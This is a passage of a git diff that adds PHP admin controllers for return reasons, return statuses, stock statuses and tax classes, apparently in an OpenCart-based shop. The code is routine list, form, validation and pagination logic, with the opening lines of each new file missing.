+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/return_reason/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/return_reason/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['return_reasons'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_reason_total = $this->model_localisation_return_reason->getTotalReturnReasons();
+
+ $results = $this->model_localisation_return_reason->getReturnReasons($filter_data);
+
+ foreach ($results as $result) {
+ $data['return_reasons'][] = array(
+ 'return_reason_id' => $result['return_reason_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('localisation/return_reason/edit', 'user_token=' . $this->session->data['user_token'] . '&return_reason_id=' . $result['return_reason_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_reason_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_reason_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_reason_total - $this->config->get('config_limit_admin'))) ? $return_reason_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_reason_total, ceil($return_reason_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_reason_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_reason_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_reason_id'])) {
+ $data['action'] = $this->url->link('localisation/return_reason/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/return_reason/edit', 'user_token=' . $this->session->data['user_token'] . '&return_reason_id=' . $this->request->get['return_reason_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['return_reason'])) {
+ $data['return_reason'] = $this->request->post['return_reason'];
+ } elseif (isset($this->request->get['return_reason_id'])) {
+ $data['return_reason'] = $this->model_localisation_return_reason->getReturnReasonDescriptions($this->request->get['return_reason_id']);
+ } else {
+ $data['return_reason'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_reason_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_reason')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['return_reason'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 128)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_reason')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/return');
+
+ foreach ($this->request->post['selected'] as $return_reason_id) {
+ $return_total = $this->model_sale_return->getTotalReturnsByReturnReasonId($return_reason_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/return_status.php b/public/admin/controller/localisation/return_status.php
new file mode 100644
index 0000000..16081ea
--- /dev/null
+++ b/public/admin/controller/localisation/return_status.php
@@ -0,0 +1,355 @@
+load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_status->addReturnStatus($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_status->editReturnStatus($this->request->get['return_status_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/return_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_status');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_status_id) {
+ $this->model_localisation_return_status->deleteReturnStatus($return_status_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/return_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/return_status/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['return_statuses'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_status_total = $this->model_localisation_return_status->getTotalReturnStatuses();
+
+ $results = $this->model_localisation_return_status->getReturnStatuses($filter_data);
+
+ foreach ($results as $result) {
+ $data['return_statuses'][] = array(
+ 'return_status_id' => $result['return_status_id'],
+ 'name' => $result['name'] . (($result['return_status_id'] == $this->config->get('config_return_status_id')) ? $this->language->get('text_default') : null),
+ 'edit' => $this->url->link('localisation/return_status/edit', 'user_token=' . $this->session->data['user_token'] . '&return_status_id=' . $result['return_status_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_status_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_status_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_status_total - $this->config->get('config_limit_admin'))) ? $return_status_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_status_total, ceil($return_status_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_status_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_status_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_status_id'])) {
+ $data['action'] = $this->url->link('localisation/return_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/return_status/edit', 'user_token=' . $this->session->data['user_token'] . '&return_status_id=' . $this->request->get['return_status_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/return_status', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['return_status'])) {
+ $data['return_status'] = $this->request->post['return_status'];
+ } elseif (isset($this->request->get['return_status_id'])) {
+ $data['return_status'] = $this->model_localisation_return_status->getReturnStatusDescriptions($this->request->get['return_status_id']);
+ } else {
+ $data['return_status'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_status_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['return_status'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/return');
+
+ foreach ($this->request->post['selected'] as $return_status_id) {
+ if ($this->config->get('config_return_status_id') == $return_status_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $return_total = $this->model_sale_return->getTotalReturnsByReturnStatusId($return_status_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+
+ $return_total = $this->model_sale_return->getTotalReturnHistoriesByReturnStatusId($return_status_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/stock_status.php b/public/admin/controller/localisation/stock_status.php
new file mode 100644
index 0000000..0deff44
--- /dev/null
+++ b/public/admin/controller/localisation/stock_status.php
@@ -0,0 +1,346 @@
+load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_stock_status->addStockStatus($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_stock_status->editStockStatus($this->request->get['stock_status_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/stock_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/stock_status');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $stock_status_id) {
+ $this->model_localisation_stock_status->deleteStockStatus($stock_status_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/stock_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/stock_status/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['stock_statuses'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $stock_status_total = $this->model_localisation_stock_status->getTotalStockStatuses();
+
+ $results = $this->model_localisation_stock_status->getStockStatuses($filter_data);
+
+ foreach ($results as $result) {
+ $data['stock_statuses'][] = array(
+ 'stock_status_id' => $result['stock_status_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('localisation/stock_status/edit', 'user_token=' . $this->session->data['user_token'] . '&stock_status_id=' . $result['stock_status_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $stock_status_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($stock_status_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($stock_status_total - $this->config->get('config_limit_admin'))) ? $stock_status_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $stock_status_total, ceil($stock_status_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/stock_status_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['stock_status_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['stock_status_id'])) {
+ $data['action'] = $this->url->link('localisation/stock_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/stock_status/edit', 'user_token=' . $this->session->data['user_token'] . '&stock_status_id=' . $this->request->get['stock_status_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/stock_status', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['stock_status'])) {
+ $data['stock_status'] = $this->request->post['stock_status'];
+ } elseif (isset($this->request->get['stock_status_id'])) {
+ $data['stock_status'] = $this->model_localisation_stock_status->getStockStatusDescriptions($this->request->get['stock_status_id']);
+ } else {
+ $data['stock_status'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/stock_status_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/stock_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['stock_status'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/stock_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $stock_status_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByStockStatusId($stock_status_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/tax_class.php b/public/admin/controller/localisation/tax_class.php
new file mode 100644
index 0000000..9de37b5
--- /dev/null
+++ b/public/admin/controller/localisation/tax_class.php
@@ -0,0 +1,373 @@
+load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_class->addTaxClass($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_class->editTaxClass($this->request->get['tax_class_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/tax_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_class');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $tax_class_id) {
+ $this->model_localisation_tax_class->deleteTaxClass($tax_class_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
